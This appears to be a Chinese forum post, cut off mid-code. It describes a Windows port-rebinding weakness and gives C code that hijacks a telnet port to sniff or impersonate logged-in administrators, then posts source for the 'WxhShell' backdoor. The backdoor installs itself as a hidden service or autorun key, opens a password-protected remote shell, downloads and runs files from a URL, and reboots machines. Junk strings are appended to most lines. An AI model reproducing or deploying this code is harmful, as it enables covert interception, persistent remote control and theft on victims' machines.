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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: 9Z:pss@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); km}E&ao  
CbMClnF  
  saddr.sin_family = AF_INET; $cGV)[KWp@  
O_D;_v6Ii+  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); InG<B,/W?  
^Uldyv/  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); K&&YxX~ 3  
?YM0VB,y  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ?osYs<k \  
,f .#-  
  这意味着什么?意味着可以进行如下的攻击: E;r~8^9)  
&RlYw#*1.  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 6w0r)  
~gEd (  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) qjRp5  
tTe:Oq  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 k")3R}mX  
)1&,khd/u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  FFc?Av?_  
z\<gm$1CB  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8 =3$U+  
-<5H8P-  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 d`KW]HJw  
={nuz-3  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jAD{?/RB}  
HF%)ip+  
  #include o&E2ds3  
  #include o&HFlDZ5jO  
  #include \fC}l Ll  
  #include    }}v28"\TA  
  DWORD WINAPI ClientThread(LPVOID lpParam);   j,g.Eo  
  int main() R(A"6a8*  
  { T(bFn?  
  WORD wVersionRequested; _MGhG{p7t  
  DWORD ret; 4!<[5+.  
  WSADATA wsaData; u=B,i#>s  
  BOOL val; _lG\_6oJ,  
  SOCKADDR_IN saddr; NZ~"2~Hh  
  SOCKADDR_IN scaddr; #]Q.B\\  
  int err; K-7i4 ~  
  SOCKET s; G;bE_O  
  SOCKET sc; {FM:\/  
  int caddsize; 8KS9!*.iZ  
  HANDLE mt; qC YXkZ%`  
  DWORD tid;   @33-UP9o  
  wVersionRequested = MAKEWORD( 2, 2 ); iLkP@OYgQ  
  err = WSAStartup( wVersionRequested, &wsaData ); Ks^EGy+O:-  
  if ( err != 0 ) { d#nKTqSg  
  printf("error!WSAStartup failed!\n"); B ? D|B  
  return -1; t/:]\|]WB  
  } 51x)fZQ  
  saddr.sin_family = AF_INET; %-[U;pJe;  
   AY%Y,< a  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Og<UW^VR  
YS&Q4nv-  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ^1+&)6s7V  
  saddr.sin_port = htons(23); \YsYOFc|  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 6V c&g  
  { TWJ%? /d  
  printf("error!socket failed!\n"); ?1MaA  
  return -1; v]BMET[w  
  } )Waz bT@  
  val = TRUE; gR) )K)  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 6\?< :Qto  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Kg;1%J>ee  
  { *.Ceb%W7C  
  printf("error!setsockopt failed!\n"); T>s3s5Y  
  return -1; JIU=^6^2'  
  } R>. %0%iq  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; )~[hf,R5S  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 p'IF2e&z  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 "# BI"  
a;e~D 9%1  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) '#0'_9}  
  { p/inATH  
  ret=GetLastError(); Az>gaJ/_  
  printf("error!bind failed!\n"); Sj<WiQ%<  
  return -1; [!#<nY/C  
  } YV>]c9!q  
  listen(s,2); m339Y2%=  
  while(1) -V)DKf"f  
  { -:o4|&g<*  
  caddsize = sizeof(scaddr); P ||:?3IH  
  //接受连接请求 2hI|] p  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ];1Mg  
  if(sc!=INVALID_SOCKET) m`Ver:{  
  { 8z h{?0  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ri k0F  
  if(mt==NULL) $Y5m"wySZ  
  { d% :   
  printf("Thread Creat Failed!\n"); pT`oC&  
  break; O o+pi$W  
  } UMbM3m=\  
  } L) ]|\|  
  CloseHandle(mt); mxJ& IV  
  } f?A1=lm~  
  closesocket(s); |[}!E/7>b  
  WSACleanup(); yk| < P\  
  return 0; fSFb)+  
  }   g",htYoEnj  
  DWORD WINAPI ClientThread(LPVOID lpParam) [~<X|_L G  
  { U6@Hgi>  
  SOCKET ss = (SOCKET)lpParam; :v!e8kM\x  
  SOCKET sc; 9I;d>%  
  unsigned char buf[4096]; ]hL `HP  
  SOCKADDR_IN saddr; t$lO~~atr  
  long num; zg2}R4h  
  DWORD val; ?@i_\<A2  
  DWORD ret; ]FNqNZ  
  //如果是隐藏端口应用的话,可以在此处加一些判断 af<R.  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   M &g1'zv?/  
  saddr.sin_family = AF_INET; 3b2[i,m<L  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); lef,-{X-  
  saddr.sin_port = htons(23); R6A{u(  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) =k\V~8XZ  
  { fGtUr _D  
  printf("error!socket failed!\n"); j:;[Y`2  
  return -1; :"9P {xe^  
  } $R2iSu{kO  
  val = 100; W5^m[,GU'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) w+NdEE4H9z  
  { MM*B.y~TxZ  
  ret = GetLastError(); .A. VOf_  
  return -1; "[rChso  
  } Hq*\,`b&  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) uwcm%N;I"  
  { ^"e|)4_5\  
  ret = GetLastError(); Is $I;`  
  return -1; ^T#bla893  
  } #ONad0T;  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) .W#-Cl&n8  
  { Oist>A$Z  
  printf("error!socket connect failed!\n"); <B?@,S>  
  closesocket(sc); VM1`:1Z:$  
  closesocket(ss); e bSG|F  
  return -1; mu[:b  
  } msyC."j0jU  
  while(1) qBKRm0<W  
  { 1'[RrJ$Q  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  0#AS>K5  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (|EnRk-E  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 ]{Ytf'bG  
  num = recv(ss,buf,4096,0); 4Y)rgLFj  
  if(num>0) *,:>EcDr  
  send(sc,buf,num,0); q*|H*sS  
  else if(num==0) Sd !!1a s  
  break; XvU^DEfW  
  num = recv(sc,buf,4096,0); PtUea  
  if(num>0) WPmH4L>T  
  send(ss,buf,num,0); `m.).Hda  
  else if(num==0) =o@CCUKpj  
  break; 'edd6yTd  
  } RpAqnDX)  
  closesocket(ss); L|wD2iw  
  closesocket(sc); -_bnGY%,  
  return 0 ; ^]&uMkPN  
  } )]/gu\90  
kPm{tc  
ETw7/S${  
========================================================== hGPo{>xR  
mIK-a{?G  
下边附上一个代码,,WXhSHELL TzC'x WO  
Ua>lf8w<  
========================================================== &Hb;; Ic(  
Nq`@ >Ml  
#include "stdafx.h" eD4qh4|u.  
(h} 5*u%h  
#include <stdio.h> Q M#1XbT  
#include <string.h> M7O5uW`  
#include <windows.h> ^usZ&9"@P  
#include <winsock2.h> J4yL"iMt  
#include <winsvc.h> Ry@QJn I<  
#include <urlmon.h> UE-<  
kK27hfsw  
#pragma comment (lib, "Ws2_32.lib") E<j}"W$a  
#pragma comment (lib, "urlmon.lib") p(jY2&g  
/k$h2,O"*  
#define MAX_USER   100 // 最大客户端连接数 M.|cl#  
#define BUF_SOCK   200 // sock buffer ,f4VV\  
#define KEY_BUFF   255 // 输入 buffer Q]9+-p(=  
U7)#9qS4  
#define REBOOT     0   // 重启 gn2*'_V~3  
#define SHUTDOWN   1   // 关机 ,N[N;Uoj  
[1-1^JY  
#define DEF_PORT   5000 // 监听端口 w1aev  
F;4*,Ap  
#define REG_LEN     16   // 注册表键长度 o$*aAgS+  
#define SVC_LEN     80   // NT服务名长度 gx-ib/_f1  
emhI1 *}  
// 从dll定义API 'pCZx9 *c  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); k$u\\`i]oC  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); {:D8@jb[  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); |[)k5nUQ|  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 7# ~v<M6  
0rt@4"~~w  
// wxhshell配置信息 UlG8c~p  
struct WSCFG { =cwQG&as  
  int ws_port;         // 监听端口 :~I^ni  
  char ws_passstr[REG_LEN]; // 口令 {X85  
  int ws_autoins;       // 安装标记, 1=yes 0=no tx,_0[hZi  
  char ws_regname[REG_LEN]; // 注册表键名 Vs[A  
  char ws_svcname[REG_LEN]; // 服务名 Q[j'FtP%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 e -!6m #0  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iKJ-$x_5  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 kLsp0% 2  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 1V\tKDM  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )\S3Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 o!]muO*Rm  
3 291"0  
}; 6:fHPlqW  
ans(^Up$  
// default Wxhshell configuration ;PS V3Zh  
struct WSCFG wscfg={DEF_PORT,  Re=()M  
    "xuhuanlingzhe", S:bYeD4  
    1, wMW."gM|  
    "Wxhshell", lOp7rW]$  
    "Wxhshell", oZD+AF$R  
            "WxhShell Service", Su]@~^w  
    "Wrsky Windows CmdShell Service", CPW^pGT+i  
    "Please Input Your Password: ", GI se|[p  
  1, ,Y:ET1:  
  "http://www.wrsky.com/wxhshell.exe", Dias!$g  
  "Wxhshell.exe" $ Jz(Lb{  
    }; wtl3Ex,DO  
h SeXxSb:  
// 消息定义模块 a2!U9->!  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NmuzAZr  
char *msg_ws_prompt="\n\r? for help\n\r#>"; L@5j? N?F  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; =bBV A0y  
char *msg_ws_ext="\n\rExit."; P<%}!Y  
char *msg_ws_end="\n\rQuit."; `WUyffS/!  
char *msg_ws_boot="\n\rReboot..."; F@tfbDO?  
char *msg_ws_poff="\n\rShutdown..."; HBdZE7.x)3  
char *msg_ws_down="\n\rSave to "; 0.aIcc  
Sl;[9l2  
char *msg_ws_err="\n\rErr!"; dwpE(G y6c  
char *msg_ws_ok="\n\rOK!"; VLfc6:Yg  
:>|dE%/e$  
char ExeFile[MAX_PATH]; gTS} 'w{  
int nUser = 0; YYN'LF#j  
HANDLE handles[MAX_USER]; $} @gR] Z  
int OsIsNt; +a'LdEp  
\ xJ_ )r  
SERVICE_STATUS       serviceStatus; ;*G';VuT  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 2dyS_2u  
-O^R~Q_`w  
// 函数声明 Y#5v5  
int Install(void); &7 K=  
int Uninstall(void); +8|9&v`  
int DownloadFile(char *sURL, SOCKET wsh); (KLhF  
int Boot(int flag); GGs7]mhA  
void HideProc(void); LPeVr^  
int GetOsVer(void); B1V+CP3t  
int Wxhshell(SOCKET wsl); ]$,3vYBf  
void TalkWithClient(void *cs); -q]5@s/  
int CmdShell(SOCKET sock); #Dea$  
int StartFromService(void); vdcPpj^d5  
int StartWxhshell(LPSTR lpCmdLine); | .gE9'"bv  
? Rk[P cX<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I 6'!b/  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); OQIr"  
%L|xmx!c  
// 数据结构和表定义 QHr'r/0  
SERVICE_TABLE_ENTRY DispatchTable[] = :Xs4C%H;  
{ D<`M<:nq  
{wscfg.ws_svcname, NTServiceMain}, f5Hv![x  
{NULL, NULL} ?t/G@  
}; *10qP?0H  
4TTrHs  
// 自我安装 H _JE)a:+  
int Install(void) .EReYZO  
{ '5b0 K1$"  
  char svExeFile[MAX_PATH]; 1cc~UQ  
  HKEY key; H#u N&^+H  
  strcpy(svExeFile,ExeFile); W ' ~s  
9q+W>wt  
// 如果是win9x系统,修改注册表设为自启动 +w7U7" xQ  
if(!OsIsNt) { ~"_!O+Pj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { DK?Z   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Vh1y]#w  
  RegCloseKey(key); <5"&]! .  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { U[2;Fkapi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); DgK*> A  
  RegCloseKey(key); V'gJtF  
  return 0; o:&8H>(hn]  
    } 8f1M6GK?  
  } C4qK52'2s  
} T`MM<+^G  
else { 5JEOLPS  
}]#z0'Aqsu  
// 如果是NT以上系统,安装为系统服务 -L4G)%L\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); /CH]'u^j  
if (schSCManager!=0) <Y6zJ#BD  
{ x[$KZGK+GL  
  SC_HANDLE schService = CreateService 7W*a+^   
  ( _!VtM#G[  
  schSCManager, YXZP-=fB>i  
  wscfg.ws_svcname, b`$qKO  
  wscfg.ws_svcdisp, '&hd^9]Lo  
  SERVICE_ALL_ACCESS, A'rd1"K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , b !y  
  SERVICE_AUTO_START, |5%T)  
  SERVICE_ERROR_NORMAL, by0K:*C  
  svExeFile, x`FTy&g  
  NULL, + kT ]qH  
  NULL, ,*dLE   
  NULL, 1pg#@h[|t  
  NULL, \q*-9_M  
  NULL @"BhKUoV$K  
  ); X(eW+,H  
  if (schService!=0) qjhk#\y  
  { Ww60-d}}Q  
  CloseServiceHandle(schService); ~;]kqYIJ  
  CloseServiceHandle(schSCManager); |1tpXpe  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i-w$-2w  
  strcat(svExeFile,wscfg.ws_svcname); S9r?= K  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { P9qIq]M  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); I*^t!+q$  
  RegCloseKey(key); [*5]NNB  
  return 0; 8B &EH+  
    } ^"D^D`$@  
  } {Q37a=;,  
  CloseServiceHandle(schSCManager); NN2mOJ:-  
} W6}>iB  
} q^<HG]  
j'U1lEZm2  
return 1; K:jn^JN$  
} i!}6FB Z  
Axns  
// 自我卸载 S<NK!89  
int Uninstall(void) akt7rnt?i  
{ bEj}J_#  
  HKEY key; \?R#ZxP@  
EnlAgL']|  
if(!OsIsNt) { :H3/+/x  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U;WwEta ]  
  RegDeleteValue(key,wscfg.ws_regname); Q.$Rhjb  
  RegCloseKey(key); jc)7FE  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Ky"F L   
  RegDeleteValue(key,wscfg.ws_regname); ,dTmI{@O  
  RegCloseKey(key); V4NQcy? H  
  return 0; ,pI9=e@O/z  
  } ohq Thl  
} $l"%o9ICG  
} =?0v,;F9|  
else { !L9OJ1F  
R'`'q1=R  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {pH#zs4Y  
if (schSCManager!=0) c QuL9Xo  
{ _"B.V(  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); xl`AiO `K  
  if (schService!=0) zsQ|LwQ  
  { K$Vu[!l`  
  if(DeleteService(schService)!=0) { *|g[Mn  
  CloseServiceHandle(schService); 2[Lv_<i|  
  CloseServiceHandle(schSCManager); *l{epum;  
  return 0; Nj3iZD|  
  } u%e~a]  
  CloseServiceHandle(schService); -W1p=od  
  } j\IdB:}j  
  CloseServiceHandle(schSCManager); ~?Ky{jah:^  
} cjPXrDl{\  
} z,ERq,g+L  
YmaS,Q-  
return 1; PIa!N Py  
} ;10YG6:  
)Ln".Bu,  
// 从指定url下载文件 ciN\SA ZY  
int DownloadFile(char *sURL, SOCKET wsh) h#O9TB  
{ |xcI~ X7Q  
  HRESULT hr; El5} f4sl  
char seps[]= "/"; K2yNI q_  
char *token; cbyzZ#WRb  
char *file; p9?kJKN  
char myURL[MAX_PATH]; @9KW ]7  
char myFILE[MAX_PATH]; RYEZ'<  
I:iMRvp  
strcpy(myURL,sURL); O7VEyQqf5  
  token=strtok(myURL,seps); F""9O6u  
  while(token!=NULL) $~.YB\3  
  { KH;~VR8"/  
    file=token; E3O^Tg?j  
  token=strtok(NULL,seps); t kj  
  } ap}p?r  
hA 5')te<  
GetCurrentDirectory(MAX_PATH,myFILE); c#}K,joeU  
strcat(myFILE, "\\"); Ql)hIf$Oo  
strcat(myFILE, file); i m;6$3  
  send(wsh,myFILE,strlen(myFILE),0); hk4t #Km  
send(wsh,"...",3,0); {owuYVm  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K-C,n~-  
  if(hr==S_OK) xt5/`C  
return 0; `R8&(kQ  
else A,DBq9Z+4R  
return 1; e9KD mX_  
PmE)FthdP(  
} X n!mdR  
%|(c?`2|  
// 系统电源模块 #mu L-V  
int Boot(int flag) (~^fx\-S  
{ 2uE<mjCt-r  
  HANDLE hToken; f(m, !  
  TOKEN_PRIVILEGES tkp; 43AzNXWF8  
"g"a-{8  
  if(OsIsNt) { ,sAAV%" >  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); @Uez2?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); }<A.zwB<i  
    tkp.PrivilegeCount = 1; Cr7Zi>sd<!  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [UzD3VPg  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~#*C,4m  
if(flag==REBOOT) { *pJGp:{6V?  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ^)gyKl:E'  
  return 0; 8mreHa  
} v&YeQC>  
else { ( *+'k1Ea  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2P"9m  
  return 0; <(lA CH  
} =WY'n l'  
  } 1z-.e$&z  
  else { o?Hfxp0}  
if(flag==REBOOT) { +;q\7*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Res U5Ce~  
  return 0; _ Ncbo#G  
} ^r\ rpSN  
else { JkAM:,^(  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) sg $db62>  
  return 0; yv[j Pbe  
} }UW7py!TN  
} luf5-XT  
g^]Iw~T6$  
return 1; pD$4nH4KST  
} C:J;'[,S  
Z ;.-UXat  
// win9x进程隐藏模块 ?J\&yJ_B  
void HideProc(void) %PYl  
{ b0$)G-E/Y  
FbE/x$;~O  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); u-TT;k'  
  if ( hKernel != NULL ) JnBUW"  
  { SN{+ Pk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 8 c8`"i  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); N6y9'LGG`  
    FreeLibrary(hKernel); |RiJ>/ MK\  
  } !2LX+*;  
K&|h%4O  
return; RehmVkT  
} ^Pn|Q'{/p  
O^@8Drgc  
// 获取操作系统版本 n N<N~  
int GetOsVer(void) t/i I!}  
{ )5Khl"6!z  
  OSVERSIONINFO winfo; K&L!O3#(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 03 @a G  
  GetVersionEx(&winfo); 5CkG^9  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) K~ eak\=  
  return 1; D|LO!,=b  
  else y7,fFUKl  
  return 0; p&<Ssc  
} U6]#RxH  
;t&q|}x"  
// 客户端句柄模块 l76=6Vtb  
int Wxhshell(SOCKET wsl) Xsq@E#@S  
{ *'/,  
  SOCKET wsh; P>7Xbm,VP  
  struct sockaddr_in client; x>#{C,Fi  
  DWORD myID; W>@ti9\t  
jdxHWkQ   
  while(nUser<MAX_USER) TrjyU  
{ =A"Abmx|  
  int nSize=sizeof(client); \H] |5fp*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); DB'0  
  if(wsh==INVALID_SOCKET) return 1; E`IXBI  
Vm[Rp, "  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); .a*?Pal@@  
if(handles[nUser]==0) U: 9&0`k(  
  closesocket(wsh); yE$PLM  
else R}&?9tVRR  
  nUser++; :;k?/KU7  
  } o7) y~ ke  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8 1,N92T5  
ZoG@"vr2  
  return 0; 9c>i>Vja!  
} zwfft  
HXLnjXoe  
// 关闭 socket 6>vR5pn  
void CloseIt(SOCKET wsh) FOTe, F.8  
{ C(N' =-;Kl  
closesocket(wsh);  U4!bW  
nUser--; #"gt&t9Q  
ExitThread(0); 8Y`Lq$u  
} F \:~^`  
clE9I<1v  
// 客户端请求句柄 LE\*33k_  
void TalkWithClient(void *cs) (Z),gxt  
{ /UCBoQ$/]  
?JrUZXY  
  SOCKET wsh=(SOCKET)cs; ~MG6evm &  
  char pwd[SVC_LEN]; 4 2Z:J 0  
  char cmd[KEY_BUFF]; |9E:S  
char chr[1]; 8em'7hR9  
int i,j; L AQ@y-K3  
7+jxf[(XQ  
  while (nUser < MAX_USER) { Wg-mJu(  
r&u1-%%9[  
if(wscfg.ws_passstr) { F @PPhzZ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); iQG!-.aX  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); tr0b#4  
  //ZeroMemory(pwd,KEY_BUFF); x@ -K  
      i=0; 5aQ)qUgAW  
  while(i<SVC_LEN) { Ua1&eC Zi  
'P.y?  
  // 设置超时 S <mZs;  
  fd_set FdRead; ,1 -%C)  
  struct timeval TimeOut; Y+-yIMt$r  
  FD_ZERO(&FdRead); T\6Qr$t  
  FD_SET(wsh,&FdRead); X`8<;l  
  TimeOut.tv_sec=8; A(y6]E!  
  TimeOut.tv_usec=0; 1-kuK<KR  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); < 5zR-UA>  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); oC&}lp)q  
omfX2Oa2  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*h8 o9M  
  pwd=chr[0]; >.?yz   
  if(chr[0]==0xd || chr[0]==0xa) { j=0kxvp  
  pwd=0; l)u%`Hcn  
  break; |IAx!Z-P  
  } ndSu-8?L  
  i++; E>fY,*0  
    } nW=6nCyvo  
x;mw?B[  
  // 如果是非法用户,关闭 socket 9{pT)(Wnb  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); x\yM|WGL  
} {cdICWy(F3  
bmT%?it  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }<Ydj .85  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a"(Ws]K  
Jz8P':6[  
while(1) { _H| )g*]t  
` m 5\  
  ZeroMemory(cmd,KEY_BUFF); Es=G' au  
[@K'}\U^+  
      // 自动支持客户端 telnet标准   H1N@E}>|  
  j=0; (kL"*y/"p  
  while(j<KEY_BUFF) { 4 ]oe`yx  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d?oXz|;H(  
  cmd[j]=chr[0]; (B#FLoK  
  if(chr[0]==0xa || chr[0]==0xd) { R @\fqNq  
  cmd[j]=0; _S_,rTf&  
  break; F8%^Ed~@  
  } Bc=(1ty)  
  j++; 49 FP&NgK  
    } l$u52e!7  
<@J$hs9s  
  // 下载文件 MTYV~S4/  
  if(strstr(cmd,"http://")) { 3W'fEh5  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); I Fw7?G,  
  if(DownloadFile(cmd,wsh)) ~ <1s[Hu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); RE!WuLs0"  
  else A1zRzg4I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6*,55,y  
  } O_ #++G  
  else { ^!tX+`,6^  
or-k~1D  
    switch(cmd[0]) { 3]S*p ErY  
  5c5!\g~'  
  // 帮助 CH7a4qL`  
  case '?': { 1c,#`\Iikd  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aG1Fj[,  
    break; Gza= 0  
  } \BBs;z[/  
  // 安装  %LnLB  
  case 'i': { 'e:4  
    if(Install()) ]MCH]/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m03dL^(   
    else **P P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j*>]HNo&  
    break; g?v/ u:v>W  
    } Bc!<!  
  // 卸载 ) `{jPK*`  
  case 'r': { FqyxvL.  
    if(Uninstall()) (bm> )U=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tnpEfi-  
    else Z6B$\Q5Od  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N5 sR  
    break; t<Sa ;[+  
    } '(iPI  
  // 显示 wxhshell 所在路径 |i B#   
  case 'p': { 7 @\i5  
    char svExeFile[MAX_PATH]; RAa1^Qb  
    strcpy(svExeFile,"\n\r"); :V$\y up  
      strcat(svExeFile,ExeFile); 5XT^K)'  
        send(wsh,svExeFile,strlen(svExeFile),0); ( x% 4*  
    break;  9qa/f[G  
    } .Z]hS7t  
  // 重启 'Rnzu0<lF  
  case 'b': { (Jb#'(~a  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V+D<626o  
    if(Boot(REBOOT)) C}9GrIi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); f0@*>  
    else { 7r:&%?2:g  
    closesocket(wsh); U=%(kOx  
    ExitThread(0); "+2Cs  
    } d&G]k!|\  
    break; 9PV]bt,  
    } L~/L<Ms  
  // 关机 AP z"k?D0  
  case 'd': { m{$+  
